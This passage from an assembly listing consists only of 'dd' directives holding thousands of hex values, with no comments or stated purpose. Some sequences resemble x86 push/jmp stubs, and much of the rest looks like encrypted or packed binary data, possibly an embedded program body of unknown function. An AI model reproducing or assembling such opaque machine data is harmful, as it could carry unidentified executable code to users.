73D575DFh, 3D577DD7h, 0D55FEDF7h dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h dd 6F1A1AFAh, 0CF2E9h, 0CC626800h, 0BBE905EDh, 68FFFCB4h dd 5EDCD7Ah, 0FCB4B1E9h, 0CE4868FFh, 0A7E905EDh, 68FFFCB4h dd 5EDCF19h, 0FCB49DE9h, 0CFB668FFh, 93E905EDh, 68FFFCB4h dd 5EDD055h, 0FCB489E9h, 0D17C68FFh, 7FE905EDh, 68FFFCB4h dd 5EDD275h, 0FCB475E9h, 0D33F68FFh, 6BE905EDh, 68FFFCB4h dd 5EDD40Ah, 0FCB461E9h, 0D4DE68FFh, 57E905EDh, 4FFFFCB4h dd 0F8025609h, 6892C677h, 0E41E4AEBh, 6A90C475h, 0B91F4BE8h dd 6B084A38h, 0E291C53Fh, 6F104CB6h, 0ED8CC13Bh, 338113B9h dd 1D443139h, 6DA9008Ch, 633508E8h, 1E686C9Ch, 56D8D8ACh dd 0DFB32B17h, 9DF1A0D5h, 2BCA0DC3h, 0E848EB87h, 59FA78B6h dd 0DA7DFFF5h, 9A3BBCB6h, 4B73F39h, 7A72C05Ah, 971756D9h dd 0AA6BCE60h, 0A33B4CE3h, 0B5AFA000h, 1585A45Ch, 0B2113769h dd 0BE3784F0h, 27E94713h, 0CCA00CAFh, 461F6A6Fh, 0F6A3D618h dd 243D775Ah, 0C0E0288Ch, 0EF5D0FACh, 12BD46C0h, 8D872BB3h dd 53FDA948h, 1C74B5BAh, 0B91A2576h, 1BA936BFh, 116CC321h dd 0CC600C94h, 6CC2C5BAh, 62114511h, 0E596C4CEh, 33A1E349h dd 0E945F664h, 0F41E985h, 11448ADDh, 90C5C360h, 0D51BB5E1h dd 5452F1A0h, 0FCF04221h, 4F116CC2h, 1D17BBD7h, 0C2D678D8h dd 0B6550CB3h, 90DE76DAh, 731E5764h, 0C26AC42Dh, 6C23DA37h dd 552397CFh, 0A12E24AFh, 552h, 11A339F8h, 1756671Bh, 7EFCF66Eh dd 0F5787EDDh, 764CB222h, 32C1DB36h, 0E5892549h, 0A62F2589h dd 53A65F0Bh, 3966D48Ah, 0C12BCDBh, 73DF7CF2h, 0F9F3411Fh dd 4C116CB8h, 4A14B8D4h, 41707EA3h, 0BB1868F2h, 6D05EFC1h dd 0D5074911h, 24DC0088h, 270C2Eh, 39550000h, 7CD083F7h dd 63B6B310h, 5D76C49Ah, 1012BC49h, 5E522488h, 0DA116C39h dd 6B1D6894h, 9B2E240Bh, 106h, 49E86DC2h, 453F8D17h, 0E2175667h dd 0B7511A88h, 0DA2453B3h, 0D789E59Ah, 574D8F65h, 0D97AE217h dd 66E92779h, 0D4771BB7h, 54B2A0D2h, 99EDBD33h, 676DC1ADh dd 0E5EF43EEh, 1395C170h, 175735ECh, 27A86BE2h, 9C30E110h dd 0A4F09CF0h, 247A175Eh, 19B56AEAh, 7F76D675h, 0C21C122Ah dd 0A12219A5h, 1C7023ABh, 0E147F042h, 50FA12BCh, 6CCE0AE2h dd 89E57D11h, 3CBD73DDh, 340C85DCh, 0E589F1C1h, 6F364346h dd 63788331h, 0EC220CD1h, 1269CA6Bh, 0D81AD48Ah, 27AB653Bh dd 0B8F5D874h, 0EF8903E5h, 0C69E3D51h, 2E1DBE3Ch, 0E80CC663h dd 8C8051F9h, 0F000009h, 0B84216C9h, 28D28637h, 0A45E0AABh dd 2AD08435h, 0F95F0BA8h, 2BC80A78h, 0A251857Fh, 2FD00CF6h dd 0AD4C817Bh, 73C153F9h, 1D443379h, 6DE940CCh, 8A928EDh dd 0FAA4C8A4h, 2B69A013h, 7A40E12h, 8130A55Fh, 44B57BD5h dd 0A90F20D4h, 0A6CAAC20h, 1B6EA005h, 0B5AE1C42h, 4812BC48h dd 0C120FA91h, 630F77E3h, 88C7B9CFh, 7F31116Bh, 0F240DA0Dh dd 116B88FAh, 9ADFD54Dh, 64145CFFh, 902E235Bh, 0D8h, 6A9FD73Eh dd 4A5AA22Eh, 29685E67h, 7EDD5C35h, 49E86DDBh, 475BBE5h dd 3695F955h, 0BD11C230h, 5665C4CBh, 16C30A17h, 0CE05EC42h dd 0E36EDD38h, 81582C9Eh, 33AB1755h, 7E5A725Fh, 0A8960623h dd 29C80D0Bh, 0E715DB85h, 83969330h, 0A956E4BAh, 5C12BC34h dd 0F03E90C4h, 0A4D7DD7Eh, 425752F1h, 56BF257Bh, 2574F3C5h dd 0C76D5D8h, 0CD04B18h, 0F76D33ABh, 19E5DF6Dh, 0C0580B7Fh dd 46F56563h, 0AF6AE812h, 0D0E38F2Ah, 0E80E04F7h dd 7474A50Dh, 17000008h, 906A3EE1h, 10EABE5Fh, 9C6632E3h dd 12E8BC5Dh, 0C16733E0h, 3B02240h, 8A29AD57h, 7B824DEh dd 7524A953h, 0AB198B21h, 1D4433D1h, 6D01A824h, 0E01A4EEDh dd 5C92CC6Dh, 0B8D47819h, 329E3BB2h, 0FCA5FD5Eh, 0E549E86Dh dd 2FAD66EFh, 1EB0E488h, 52FE9FD0h, 7D29D3Eh, 36683544h dd 0BC7CEF84h, 805AC212h, 0FA9BDC12h, 0E3993A56h, 0E3B3F827h dd 9E3DB17Fh, 14F1383Dh, 0B67BF84Ah, 56CE0E09h, 0DFA6F3FAh dd 33811B81h, 0CB9B439h, 0CDB7148Ch, 81F169Bh, 0BEB604AEh dd 3106CC03h, 6F45F7A9h, 0C206CC04h, 8168365Ah, 94DB21D5h dd 9CBCCCE1h, 63ADFF5Ch, 0F7A0EEAh, 0E0B31E53h, 0AB22D88Ch dd 0CF6E3D0Eh, 3E96ECC0h, 7A6EFh, 0CB32500h, 882DA258h dd 0B526DCh, 8E2BAE54h, 1B220DAh, 3072F355h, 0BF4511C2h dd 2AD08437h, 5BA1F5AAh, 99336712h, 34C3B90Bh, 0BA361D44h dd 49E86D13h, 5EB0FE17h, 0E0808C19h, 16DC172h, 676ECE6Dh dd 8F154B12h, 3FCDA715h, 1C5D1757h, 0CABDD17Dh, 908BF152h dd 2312BD41h, 316EFBBh, 83D6643Ah, 0B20CD279h, 33BA742Ah dd 46F37AB4h, 7F673C30h, 7B178F0Bh, 0D4F812Fh, 86CFC96Ah dd 9D2FB5EBh, 0B7F66A7h, 8121821Ah, 33E211DFh, 0A804BB39h dd 176267C4h, 88A2104Eh, 5E06E4AEh, 90BD5E90h, 1D3EF693h dd 651EBD3Bh, 0E86DA3FDh, 6EE71D49h, 0FF316FC3h, 7D78DB76h dd 0BD0F512Ch, 0F7DB6Eh, 4DEAD941h, 5BF3E554h, 6D522F3h dd 4740000h, 7AFD0753h, 6758FDBh, 78F90357h, 3778DD9h dd 23A20450h, 386C0F43h, 0BBEF8CC2h, 386C1341h, 0BAEE8BC2h dd 3C308210h, 8F1D4436h, 1B6EAA03h, 39F51C42h, 0BC5E8093h dd 15791A5Ch, 1456E4B6h, 0E312BC53h, 62EB257Bh, 0D000E9B7h dd 0BF2EF968h, 0B11F47E4h, 0E645F87Fh, 60CC6DE0h, 0AB232069h dd 96C8A408h, 69015024h, 573BA311h, 195D9309h, 7EB0577Ah dd 37245F1Bh, 0C5F5EE94h, 22880CCEh, 7EB49C90h, 5A77EF0Bh dd 0B9A9EB20h, 0E3D5122h, 0E80E816Bh, 38C819B1h, 0DB000006h dd 4CB6E295h, 0C43E6A0Bh, 48B2E697h, 0C63C6809h, 15B3E794h dd 0CF6CEE94h, 4EED619Bh, 0C374E01Ah, 49E86D97h, 9725B71Dh dd 1D44359Dh, 6E359C10h, 2B3241Bh, 0F0AEC2AEh, 0BBB00F42h dd 0F8A63E12h, 174BF36h, 10DC7D50h, 3FA79FBFh, 78FD0753h dd 2D7C75D9h, 86BC0E50h, 750CCE40h, 9B29B3EDh, 0B7B2FA1h dd 60D28C14h, 0B7B308Ch, 96C467FFh, 0CC021558h, 0B917432Fh dd 0F15D0077h, 0B5383E9Dh, 58A1A804h, 3261D38Dh, 2C06E134h dd 6DCE6BE2h, 4BD8E16h, 38EDFBFBh, 5994190h, 0B8380000h dd 26A95307h, 9AD92377h, 2455AFFBh, 97DB2175h, 9716B0E4h dd 9CC86BEFh, 1743F066h, 9CC86FEDh, 1642EF66h, 0A89C2EBCh dd 1B1D4436h, 0D0393E97h, 0F7CDB884h, 0A19B2969h, 14175666h dd 4543E08Ch, 0C7CD6110h, 4EB7E38Eh, 8E3C623Bh, 12BC7561h dd 1660CC54h, 116C5322h, 59A4D09Eh, 2E2429AFh, 4BDFh, 0F7398600h dd 7471D285h, 0B4065825h, 12BC489Fh, 0EA2DAC52h, 76DAB663h dd 0E628761Ah, 784CFE71h, 0CB116C38h, 0FF933F53h, 0B68AFC5Ch dd 2116C37h, 23D5204Ch, 582E240Ah, 36846396h, 116C2C3Eh dd 0E94529B1h, 0C47F2685h, 26000000h, 0E549E86Dh, 64C86BEFh dd 0E64AE76Eh, 9CC869ECh, 0C2FDDB32h, 17DD8954h, 0FC5F33DEh dd 56698186h, 55044917h, 0C772FB01h, 0F9437099h, 995071CEh dd 2DC49A3Ah, 885DC87Eh, 2421826Ch, 0E45608D5h, 12BD2F6Bh dd 16D8861Eh, 0CC9437E4h, 4719E435h, 0D17F27F5h, 7EFD330Ch dd 0F59938B9h, 0ED963559h, 75E52B75h, 0EA6892C6h, 0D0DB7A49h dd 41E9E80Ch, 47290h, 38DF1100h, 0BC61966Ch, 3CE112E8h dd 0B25F9268h, 3DDE1CE6h, 344ECF69h, 0BB4115C6h, 2ED48033h dd 0A75D09AEh, 7DD7832Eh, 38675DEFh, 56DA1D44h, 28ED6DFFh dd 0D2010BACh, 8FE38F23h, 5DEF75DBh, 17566767h, 0E7E142DAh dd 8534A56Eh, 39E4BDE9h, 7EDD80F7h, 9572E7Bh, 0BC48A0BBh dd 67CB5312h, 6C381F11h, 0CF6AEF11h, 37E66963h, 7B7FB69Bh dd 701C984Eh, 0BBDA0A54h, 125B89C7h, 2E238E66h, 0B796h dd 0E86DCF00h, 6BEFE549h, 0ED1264C8h, 0A9175665h, 62AB8133h dd 7F441756h, 5576C2CDh, 0D271E99Eh, 0A4F0A1D4h, 0D67A175Eh dd 0ADF3CADFh, 0BB66801Fh, 0F5AB3312h, 0A300B33Bh, 7DCF55FBh dd 116B6487h, 0C4C162FAh, 4B6E8B5h, 0CCFB9F7h, 5203748Ah dd 1A12A0FEh, 6D0B7E89h, 0ABF599F5h, 1246F565h, 5886AE8h dd 230CACEDh, 5EF3C0ACh, 6AE80EA2h, 37913C2h, 0D8180000h dd 46897327h, 0BA39C397h, 44B54F1Bh, 0B73BC195h, 77F65004h dd 7C28CB0Fh, 0F7A35086h, 7C28CF0Dh, 0F6A24F86h, 887CCE5Ch dd 0FB1D4439h, 0ED6DDE77h, 5DB41A4Eh, 57A2C62Fh, 5A5CFF47h dd 6B326613h, 0EF80F739h, 5667675Dh, 2E42DA17h, 0F1428B8Dh dd 13BFD382h, 7125D419h, 2772F5C2h, 6804B538h, 6545AC36h dd 0FFF54788h, 72175714h, 37D5C7EAh, 47FC8625h, 3A12BCEBh dd 86C278A2h, 0C7AD7964h, 7B5EBB2h, 689D4784h, 0A03AF37h dd 0B67826FFh, 66349744h, 1EBB32FCh, 34FAF240h, 0D54D674Dh dd 97DC0C76h, 77EF62B2h, 0C36EE729h, 7E21539Dh, 46B4BED2h dd 0F6553995h, 702154AEh, 2D9AD043h, 5D8C2492h, 2AFh, 2D791E52h dd 0A9FDA0D7h, 297D2053h, 0A7F39ED3h, 2A7E1D5Dh, 1710D8Ch dd 7AFC0652h, 5778DD9h, 79FC0652h, 0B4268CD8h, 443A2E06h dd 0A40D811Dh, 0E549E86Dh, 9EC09DECh, 0BC65232Ch, 1A4ED612h dd 0C8D19CA9h, 384AA3FDh, 0E38E915Bh, 3785D774h, 0CD1D37Ch dd 0B70DD74Fh, 0A0034485h, 0D533F811h, 5FD759Eh, 8F56A3A6h dd 5CDD1FD1h, 0BFD37F20h, 902270D3h, 4A58BA13h, 0C52FE66h dd 4EE28FC2h, 75848122h, 856CF6A8h, 2F36BFEBh, 843BB9B7h dd 8B284428h, 6E6E9FF1h, 0C735FB44h, 73D0BC10h, 5397D108h dd 0D8BA2232h, 1B07926Ah, 117DE543h, 68ED237Dh, 0DC1227AFh dd 6B3F533Fh, 8EBD5C91h, 0B072181Dh, 0E49A4BE3h, 67000001h dd 0E01A4EF1h, 609ACE6Fh, 0EC1642F3h, 6298CC6Dh, 0B11743F0h dd 53007230h, 0DA79FD07h, 5708748Eh, 0C574F903h, 1BA93B91h dd 1D443B21h, 39B11894h, 74D782F7h, 5EFB72h, 6754289Ah dd 3FA71756h, 8B623C9Ch, 24734C58h, 484DEEF1h, 883A6441h dd 12BC6AB7h, 0D586F40Ah, 27791579h, 69350FBDh, 1088116Ch dd 7858EBB3h, 0B3EDB8C1h, 0D27F6A01h, 1FC55D0Ch, 0D0732FA5h dd 906DBCA3h, 40FF7CCEh, 0EA724DF5h, 68F77AB4h, 0A53EE2DAh dd 0A1CD554Ch, 5EABA202h, 356BD987h, 48480AA2h, 0FA9643B6h dd 0E8124DA4h, 442F4DB9h, 567B7C97h, 0BE1D54EDh, 39B876ECh dd 6583498h, 0B7F3C0B4h, 8AB3346h, 7E2AC70Eh, 93A05184h dd 0ACD52B1Ch, 109140E8h, 0B3000001h, 34CE9A3Dh, 0BC4612C3h dd 30CA9E3Fh, 0BE4410C1h, 6DCB9F3Ch, 0B76496ECh, 26D519E3h dd 0AB4C8872h, 21D005FFh, 0FF4DDF75h, 1D443B05h, 6D5DF478h dd 0BBE549E8h, 0C5340175h, 0B8D4B814h, 309C41B2h, 0AFFAFF5Ch dd 0A01288D6h, 175666CCh, 5604A73Fh, 599856CCh, 66F6CEB8h dd 0D1491756h, 4A370872h, 748A12BCh, 623C5001h, 208C2DACh dd 4EB7EF4Ch, 8E3C623Bh, 0CD18053h, 5C56FA62h, 0D62C7819h dd 0B566949Fh, 50C4C98h, 0EE825AF8h, 0A0D21C42h, 90335FF3h dd 0C9AC19EAh, 4C1D5171h, 869C06FEh, 8DE179A0h, 0C5A22B21h dd 869C7D77h, 468F0A0h, 8C31A2A8h, 0AAE44C20h, 59F87D3Ah dd 0EE203A35h, 0E62CE6Bh, 3E7DEFADh, 0AD441AB7h, 1E5D0F97h dd 0D1E3527Fh, 2AD0882Bh, 505AF6A3h, 8CDC7021h, 3BA1C232h dd 866EB389h, 3D9E06A0h, 5307B23Bh, 233424A9h, 7A9CAEEDh dd 0A2FC503Ch, 0E549EA6Ch, 0AD508389h, 13CE6D01h, 3, 6DA5084Ah dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh dd 208A457h, 848E22CFh, 0AA657h, 0E9822ECFh, 542A68h, 242C8900h dd 204368h, 242C8900h, 422A68h, 24148900h, 1F116857h, 875F23FEh dd 0DF874BDFh, 5F55EF81h, 0CF81186Bh, 4B8B03FAh, 75D9F781h dd 0FD894E76h, 7E3685Fh, 24890000h, 24048124h, 4, 5516685Ah dd 2C890000h, 242C8124h, 56632401h, 8108428Fh, 24010842h dd 34FF5663h, 0C4815A24h, 4, 53242C8Bh, 0C381E389h, 4 dd 4C381h, 1C870000h, 0DFE95C24h, 0FDFFFCA7h, 0DCD4688Ah dd 0FB9E8EE5h, 0B876C749h, 5EDD613h, 0E0FFC503h, 614388B4h dd 1FFCE530h, 5FC171B8h, 24C53A5Bh, 0D6F7B11h, 29C1F539h dd 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h, 6400h, 6800h dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h dd 0E400h, 0E800h, 0EC00h, 38h dup(0) dd 57E19500h, 0A050EB00h, 0CC858D00h, 8905EDD6h, 0EDD80C85h dd 28B0F05h, 8B000000h, 4585C6CAh, 5405EA1Ah, 101D8D89h dd 68F905EAh, 0B3997A4Fh, 27C091B9h, 24348129h, 5DFB1266h dd 10E8h, 5251CB00h, 0B7470ECAh, 0C47CAA1Dh, 94CFB24Ah dd 0B5FF5AC2h, 5EA238Dh, 8D61F860h, 0EDAFA085h, 0FFFB8B05h dd 0B19509D0h, 8905EA0Bh, 0EDD81085h, 9E905h, 0C3C20000h dd 835C3CFBh, 0E9755694h, 63h, 8870Fh, 0F510000h, 82h dd 8B565F00h, 0EDD80CB5h, 83068905h, 0EDD80C85h, 0C35E0405h dd 0CCB58D60h, 0EB05EDD6h, 6A560Fh, 95FF36FFh, 5EDD810h dd 4C6835Eh, 75003E83h, 1C361ECh, 0EA1721B5h, 81666005h dd 0E9DF99CFh, 0Ch, 204CE9E0h, 59F85D8Ah, 5FA29D7Ch, 719D2961h dd 8D05EA03h, 0EDD8AF85h, 0BE805h, 787D0000h, 80AB6807h dd 589B2216h, 895EF579h, 0EA086D85h, 9E805h, 26010000h dd 0E1AF402Bh, 8118FAF6h, 510264CFh, 8E9593Ch, 0E8000000h dd 0F74D6156h, 81958AE8h, 5D81C1h, 0FD852300h, 3305EA17h dd 13E9F6h, 813C0000h, 2A8864E8h, 3023EB6Ah, 0CB2266B1h dd 4FEA812Eh, 31148B8Eh, 28D0Fh, 9FB00000h, 4E0FEA81h dd 81F86B58h, 88F2F4F2h, 0C3816619h, 0C281FA13h, 76B47CE9h dd 5765C781h, 1489217Ah, 0BADF8031h, 9468EE81h, 81FC5948h dd 489464C6h, 0DDB58959h, 8105EA30h, 0FFA338FEh, 18850FFFh dd 8A000000h, 25E9FEh, 42B00000h, 8CDCED19h, 76B29BECh dd 2F64DDC7h, 8B3AC5D4h, 0EA291DBDh, 0FF8FE905h, 9D5BFFFFh dd 10D8237h, 0EB04F03Dh, 0C0000039h, 0C002CC00h, 0C002E400h dd 0 dd 7F5B1500h, 6657F745h, 775F3174h, 7C5B5B20h, 761C7B4Dh dd 5C32674Ch, 5E7EC174h, 5D468C20h, 465C0450h, 7357C248h dd 78525844h, 11DA7E20h, 32321620h, 9B68C87Ah, 9336A174h dd 736E664h, 50326120h, 72AC7372h, 0AD3D98ABh, 0CB8FAFF7h dd 1237FC33h, 0AFB10255h, 17D8ABC5h, 422BB620h, 0AAF2EA73h dd 1232B499h, 1F4BDDA9h, 8FBF29CAh, 17DECBD5h, 4A69D8DFh dd 3CD738A3h, 6632C7CAh, 0AA613137h, 1232B499h, 1F4BDDA9h dd 8FBF29CAh, 17DECCC4h, 4A69D8DFh, 0FA67854Ah, 1232C223h dd 4FF13C00h, 1616DCA9h, 16161CA1h, 12322C3Bh, 2FF14365h dd 0BB66CE36h, 0AD3A6777h, 1170ABB7h, 0D2B9B2AAh, 0FA67B04Ah dd 12325823h, 4FF17100h, 16167AA9h, 16164FA1h, 12328534h dd 0A2F19765h, 1234E92Fh, 0A701B020h, 17D87B85h, 3C0B99ABh dd 97F413CAh, 17D81165h, 83A70E76h, 0FA37283Bh, 12326124h dd 8E9A0872h, 0AD540A70h, 233D278Fh, 4A68DEABh, 0EAB96D70h dd 1616C1ABh, 0A1337846h, 0A85461ABh, 56BBF3F7h, 9A3D5C04h dd 12322C26h, 726B4640h, 786A6A41h, 11DAD220h, 3232C220h dd 9B6DA27Fh, 9336945Ch, 5367C64h, 55322C20h, 0B77FD577h dd 97BB00ADh, 17D896E9h, 31BF77DFh, 87B964CAh, 17D8AEA9h dd 0BD92DDADh, 125829CDh, 1231FE72h, 48120B20h, 46BBDFE3h dd 56B3C604h, 12256504h, 4070B020h, 49526AE3h, 14B42399h dd 9B321620h, 0F81ECAADh, 78E27A25h, 11DA9020h, 32326120h dd 9B68737Ah, 93367C74h, 7360864h, 50321620h, 0BD6FC872h dd 12300C2Fh, 0D8B9C220h, 1D360BDCh, 1232B8A4h, 10B85720h dd 72322C20h, 0E3C57E41h, 99543C29h, 360604F0h, 253B23D7h dd 0FA65614Ah, 1232B023h, 4DF10700h, 161650A9h, 161652A1h dd 12320B34h, 0BEF1D267h, 3B2F7709h, 995464CAh, 123658D8h dd 10DE5820h, 0E3B92C20h, 3914A870h, 56B97163h, 7E8D8104h dd 995624CEh, 74603120h, 1DDA2599h, 1FDB3811h, 1E322C20h dd 0AA72285Eh, 87D3A7EBh, 352CDD2h, 73FC4946h, 56BB397Ah dd 786AB404h, 11DA0A20h, 32322C20h, 9B68D57Ah, 93362F74h dd 0A36A164h, 5032C220h, 25FBA272h, 7865DA2Eh, 42323220h dd 12322FC8h, 0D16A3620h, 36768278h, 36760424h, 1232DE24h dd 0D1622120h, 5001C34Bh, 7E7B46EAh, 23E2D354h, 0F824A3B5h dd 0C6B78225h, 193768F9h, 0F8352F9Dh, 17CAEA25h, 1232B2ECh dd 0CBEADDA9h, 0D2B129CDh, 0CEB79F38h, 2137E6F9h, 10DE3CE0h dd 0B8C1C220h, 780BA4A0h, 11DAE220h, 32325820h, 9B68EF7Ah dd 93363274h, 6362F64h, 50328520h, 0D4FA0172h, 0F82824A5h dd 1258F325h, 1231B071h, 4B122C20h, 5EBB4FE3h, 56B30F04h dd 12248104h, 4373C220h, 56235E3h, 182B0DA9h, 0AF5A5DCAh dd 93A910E9h, 0B3933224h, 4840A0Ah, 31BF30DFh, 2DBC7CAh dd 8E326120h, 0E4876E9Bh, 61183B56h, 0BB508B60h, 9F0CABE5h dd 0FF9DABA5h, 11BC8A25h, 1D32C220h, 0C2CDB09Fh, 0FA62B04Ah dd 12325823h, 4AF17400h, 161652A9h, 16164FA1h, 1232853Ah dd 1FF19260h, 7895193Dh, 0A7BB3E06h, 17D8403Dh, 3E2FA9A9h dd 125813CAh, 1231E377h, 4D128520h, 6EBB9DE3h, 56B36504h dd 1224B404h, 45755820h, 0C35E78E3h, 12349E2Fh, 87B90B20h dd 17D8A9BDh, 131357ABh, 97BF64CAh, 17D89F51h, 0FA67584Ah dd 12322C23h, 4FF14B00h, 161667A9h, 1616C1A1h, 1232C23Ah dd 0BAF13465h, 0C27AF2D9h, 97BB9A0Ah, 17D80FC9h, 123219C8h dd 1B4B7B20h, 0C4BA456Ch, 276183B0h, 47D7ECA7h, 0EA6D65AAh dd 877DDE6h, 786129CAh, 11DA4720h, 32320B20h, 9B6B4679h dd 9336E66Ch, 8364564h, 5332B020h, 9A789B71h, 76270E60h dd 0DFB73FC7h, 7A37E135h, 0CBC347BDh, 2916C6A1h, 9910DEA6h dd 0F83D1D95h, 9F87A725h, 7837C603h, 11DA4520h, 32320B20h dd 9B69467Bh, 9336E67Ch, 0E364564h, 5132B020h, 0F9CE9B73h dd 3497B00Dh, 9903DC57h, 0F81F5AADh, 97BF7925h, 17DF6D80h dd 0FA62614Ah, 1232B023h, 4AF10000h, 161668A9h, 161652A1h dd 12320B37h, 0E7F1D560h, 1D28FE99h, 0C2CD909Fh, 6CE41B9Eh dd 7B7D14Fh, 7837C630h, 11DA4420h, 32320B20h, 9B68467Ah dd 9336E674h, 6364564h, 5032B020h, 0D48E9B72h, 0F82869A5h dd 458D4525h, 7A605BB7h, 9D4AA41Bh, 16B33CABh, 0B2911904h dd 0C4B9D668h, 31BFEDDFh, 125829CAh, 1231FE75h, 4F120B20h dd 7EBBD8E3h, 56B3C604h, 12286504h, 4777B020h, 83BDDCE3h dd 507CCA17h, 0BD9293ADh, 12580ECDh, 12316D73h, 4912C220h dd 4EBB3AE3h, 56B3B404h, 122E5C04h, 41712C20h, 0A09B1FE3h dd 5FF27C4Ch, 963D3AC0h, 1232C22Ch, 1234E92Fh, 943DB020h dd 12325820h, 0D7AFA577h, 4C37FC32h, 9F19DBDFh, 17D8A0BDh dd 4C726F9Eh, 9FB7E849h, 74375A32h, 17309FA1h, 877A9E6h dd 747513CAh, 0CE8D9A1h, 24ACB548h, 770E7C70h, 16B328DBh dd 0BA0DC904h, 428C3E47h, 9F87D31Dh, 9337FC03h, 0EB54FEE1h dd 0B2B70811h, 78372F8Fh, 11DA3020h, 3232B020h, 9B6B9B79h dd 9336086Ch, 6363264h, 53320B20h, 1B484671h, 0F80323BDh dd 41FDF25h, 0C2CD8F56h, 1A2FCD09h, 97BB29CAh, 17D807B9h dd 0FA620B4Ah, 12328523h, 4AF19A00h, 161625A9h, 1616F4A1h dd 12325835h, 50F17C60h, 57B7D06Ch, 5537E13Ah, 0FA65854Ah dd 1232C223h, 4DF13E00h, 1616CCA9h, 16161CA1h, 12322C37h dd 0A7F14167h, 0FACAC78Fh, 12328525h, 0C85A12B6h, 0C8B307B6h dd 7A68EDC1h, 50D68415h, 12323EC9h, 9F1F1420h, 34B0ED23h dd 1A1833F6h, 0D4EC58B1h, 938029C4h, 26779424h, 0AD3D66D7h dd 9F87D3EEh, 7837FC03h, 11DA5E20h, 32328520h, 9B6F017Dh dd 9336454Ch, 5369464h, 57325820h, 8138EF75h, 97BFE20Dh dd 17DFA480h, 125855DFh, 12312A71h, 4B126120h, 5EBBE9E3h dd 56B35C04h, 122F2804h, 43731620h, 34EF22E3h, 2483651Fh dd 9BC3DF7Ch, 0F83F44A5h, 4032DA25h, 12325BC8h, 0D1680C20h dd 36669F7Ah, 36768A24h, 12329124h, 0D1608020h, 10B56E16h dd 9932B020h, 0D4C2D3DAh, 0F82869A5h, 87115125h, 17D8090Dh dd 123281C8h, 0DF0E9F20h, 8D8B078Ah, 3C84E04Eh, 16161CABh dd 280AB09Fh, 9B329D41h, 74362F64h, 4A1A979Ah, 0FA61C24Ah dd 12326123h, 49F1EB00h, 161604A9h, 161668A1h, 12321634h dd 47F15863h, 123288C9h, 5B402720h, 62EDE588h, 6ECD7C64h dd 0A7CDA8EBh, 17D80FADh, 9D2BDFA1h, 97BF63A9h, 17DF2A80h dd 32C54346h, 78E29E8Ch, 11DAE520h, 32325820h, 9B6FEF7Dh dd 9336324Ch, 0B362F64h, 57328520h, 0D7F80175h, 9904A7B0h dd 4B2B0F46h, 3CBDDA9h, 125829CAh, 1231FE71h, 4B120B20h dd 5EBBDCE3h, 56B3C604h, 12286504h, 4373B020h, 0B93F84E3h dd 41627C17h, 75BAB09h, 0C2CD0ECAh, 123296C9h, 0B8C08D20h dd 0ACE23D9Bh, 0F9765DD1h, 26DA2995h, 0FF5F9F3Eh, 3BD793A9h dd 12580ECAh, 12316D75h, 4F12C220h, 7EBB3CE3h, 56B3B404h dd 122B5C04h, 47772C20h, 1CD381E3h, 1D69B84Ch, 123283A7h dd 0B3874920h, 74378B2Bh, 97BB68ACh, 17D85E0Dh, 12582804h dd 1231FE77h, 4D120B20h, 6EBBDAE3h, 56B3C604h, 12276504h dd 4575B020h, 7429FEE3h, 0D238D5ABh, 113B922Fh, 17DB0B20h dd 87328520h, 90C34FFBh dd 877E4E6h, 787DB5CAh, 11DA0820h, 32322C20h, 9B6AD578h dd 93362F64h, 0A36A164h, 5232C220h, 764A270h, 0A0D1CA50h dd 1236B07Fh, 7EF62C20h, 9962A9A0h, 367680F7h, 9B3DD424h dd 1232C238h, 123272C9h, 7C824820h, 0FB794A10h, 176E9255h dd 39EA7218h, 9E60A022h, 0AC320E7Ah, 0E7F7073h, 161625A9h dd 4432DA78h, 12325BC8h, 0D16C0C20h, 36469F7Eh, 36768A24h dd 12329824h, 0D1648420h, 44AFE90Dh, 0C453C1ECh, 0A53D626Fh dd 9F87D3F3h, 4437FC03h, 3159EDA1h, 1D6DEE33h, 97BF3497h dd 17DFCE80h, 50980A46h, 125888DFh, 1231C471h, 4B121620h dd 5EBB52E3h, 56B38104h, 1225C604h, 43736120h, 0EED76AE3h dd 0C18D57F8h, 9916ECA3h, 0F81B0795h, 1FB78225h, 78376F12h dd 11DA9420h, 32326120h, 9B6C737Eh, 93367C54h, 8360864h dd 54321620h, 0D90AC876h, 1136130Ch, 448DA4EFh, 0F7B7EA0Eh dd 99375A09h, 0F81BF99Dh, 0EBAFA725h, 7837FC31h, 11DA5920h dd 32328520h, 9B68017Ah, 93364574h, 0A369464h, 50325820h dd 0E6D8EF72h, 0ADB4DD7Ah, 2BE320FFh, 0EB717EABh, 1258D9ABh dd 12318972h, 4812B020h, 46BB02E3h, 56B32804h, 122B1204h dd 40700B20h, 0E139E6E3h, 9BBBEB81h, 0F8274C9Dh, 1D293B25h dd 9B9AF97h, 0FA652C4Ah, 12321623h, 4DF15400h, 1616F9A9h dd 161686A1h, 1232613Bh, 0AFF1E767h, 47CC5FFEh, 215856D1h dd 0A58870F8h, 27AF82DBh, 78376F35h, 11DA9020h, 32326120h dd 9B68737Ah, 93367C74h, 0A360864h, 50321620h, 0BC0CC872h dd 0D424568Dh, 0F82887A5h, 0DAB92625h, 0FA584F48h, 14DA0BA1h dd 3C322C20h, 0AEF778DFh, 5B886D71h, 936DDB2Dh, 0A564E614h dd 0FA525716h, 1232B02Eh, 3CD6945Bh, 0D4B3DE64h, 0B2E88CF5h dd 7352A47Ah, 12226D78h, 9436C220h, 9AC7D90Ah, 0C4068D5h dd 54595D41h, 0A71B54D8h, 17D83EDDh, 0A7CD6A7Fh, 17D8A6ADh dd 1237412Fh, 808C6120h, 9F3D6063h, 0FF9DF8A5h, 99C0A725h dd 0F825F3B5h, 74E2F425h, 0F50A5BA1h, 3AB47A9h, 125864CAh dd 12315873h, 49125820h, 4EBB77E3h, 56B31204h, 12280F04h dd 41718520h, 0FF5081E3h, 0D1AE4297h, 1237312Fh, 3F8D5820h dd 7429FD7Bh, 52A48E9Ah, 0FA610B4Ah, 12328523h, 49F19900h dd 16163DA9h, 1616F4A1h, 12325839h, 24F17F63h, 2D357EEh dd 0C7BF0053h, 99376F05h, 4732A820h, 123262C8h, 0D16F9020h dd 365ED17Dh, 3676AD24h, 12320224h, 0D1674E20h, 63A7AC30h dd 99372835h, 33BF6820h, 9B375A2Bh, 0F80371A5h, 10BE2325h dd 99321620h, 